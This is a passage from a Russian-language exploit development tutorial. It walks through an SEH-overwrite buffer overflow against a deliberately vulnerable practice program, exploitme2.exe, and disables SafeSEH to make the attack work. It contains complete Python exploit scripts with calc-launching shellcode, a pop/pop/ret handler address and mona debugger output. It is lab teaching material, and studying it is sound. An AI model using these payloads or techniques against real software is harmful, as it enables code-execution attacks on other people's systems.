            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            "\x30\x03\xc6\xeb\xdd")
    data = 'a'*84 + jmp + handler + shellcode
    f.write(data + 'c' * (10000 - len(data)))

Если вы отлаживаете exploitme2.exe в WinDbg, вы увидите что что-то не так. Кажеться наш обработчик (pop/pop/ret) не вызван. Почему?

Смотрим на загруженные модули:

0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules

---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x774b0000 | 0x774ba000 | 0x0000a000 | False  | True    | True  |  True    | True   | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
 0x00190000 | 0x00196000 | 0x00006000 | False  | True    | True  |  False   | False  | -1.0- [exploitme2.exe] (exploitme2.exe)
 0x752d0000 | 0x7532a000 | 0x0005a000 | False  | True    | True  |  True    | True   | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
 0x764c0000 | 0x7658c000 | 0x000cc000 | False  | True    | True  |  True    | True   | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
 0x76360000 | 0x763a7000 | 0x00047000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
 0x752c0000 | 0x752c9000 | 0x00009000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
 0x752b0000 | 0x752b7000 | 0x00007000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
 0x758c0000 | 0x7595d000 | 0x0009d000 | False  | True    | True  |  True    | True   | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
 0x75b50000 | 0x75be0000 | 0x00090000 | False  | True    | True  |  True    | True   | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
 0x75dc0000 | 0x75ed0000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
 0x75960000 | 0x75a0c000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
 0x75550000 | 0x7555c000 | 0x0000c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
 0x75560000 | 0x755c0000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
 0x77bd0000 | 0x77d50000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
 0x75ed0000 | 0x75f70000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
 0x77660000 | 0x77750000 | 0x000f0000 | False  | True    | True  |  True    | True   | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
 0x6d510000 | 0x6d5fe000 | 0x000ee000 | False  | True    | True  |  True    | True   | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
 0x764a0000 | 0x764b9000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
 0x75ab0000 | 0x75ab5000 | 0x00005000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
 0x761c0000 | 0x762c0000 | 0x00100000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
 0x762f0000 | 0x76350000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------


[+] This mona.py action took 0:00:00.110000

Здесь мы видим что все загруженные модули имеют SafeSEH = True. Это плохие новости для нас. Если модуль скомпилирован с SafeSEH, значит он содержит список разрешенных SEH обработчиков и другие адреса, которые будут в модуле но не в списке проигнорируются.

Адрес 0x75dfd75d в модуле kernel32.dll но не в списке допустимых обработчиков, по этому мы не можем использовать его. Общее решение говорит нам выбрать модуль с SafeSEH = False, но в нашем случае все модули были скомпилированы с включенным SafeSEH.

Так как мы уже знаем как настраивать среду разработки, давайте перекомпилируем exploitme2.exe без SafeSEH изменяя конфигурацию VS 2013 следующим образом:

Configuration Properties

  • Linker

    • Advanced

      • Image Has Safe Exception Handlers: No (/SAFESEH:NO)

Теперь найдем последовательность pop/pop/ret внутри exploitme2.exe:

0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe

---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules exploitme2.exe
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x00e90000 and 0x00e96000
[+] Preparing output file 'findwild.txt'
    - (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
    - Number of pointers of type 'pop eax # pop esi # retn' : 1
    - Number of pointers of type 'pop ecx # pop ecx # retn' : 1
    - Number of pointers of type 'pop edi # pop esi # retn' : 2
    - Number of pointers of type 'pop ecx # pop ebp # retn' : 1
    - Number of pointers of type 'pop ebx # pop ebp # retn' : 1
[+] Results :
0x00e91802 |   0x00e91802 (b+0x00001802)  : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9152f |   0x00e9152f (b+0x0000152f)  : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e918e7 |   0x00e918e7 (b+0x000018e7)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91907 |   0x00e91907 (b+0x00001907)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9112b |   0x00e9112b (b+0x0000112b)  : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91630 |   0x00e91630 (b+0x00001630)  : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
    Found a total of 6 pointers

[+] This mona.py action took 0:00:00.170000

Будем использовать первый адрес: 0x00e91802.

Обновленный Python скрипт:

with open('c:\\name.dat', 'wb') as f:
    jmp = '\xeb\x06\x90\x90'
    handler = '\x02\x18\xe9\x00'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            "\x30\x03\xc6\xeb\xdd")
    data = 'a'*84 + jmp + handler + shellcode
    f.write(data + 'c' * (10000 - len(data)))

Запустите скрипт и откройте exploitme2.exe (версия без SafeSEH) в WinDbg. Сейчас, как и ожидалось, калькулятор появится перед нами! Мы сделали это, но мы немного сжульничали, ведь предположили что здесь нету ASLR (до теперешнего момента).

Исправление ошибок

Если эксплойт не работает в вашей системе, причиной может послужить нехватка места в стеке. Прочитайте статью More space on the stack.

© Translated by klaus (r0 Crew)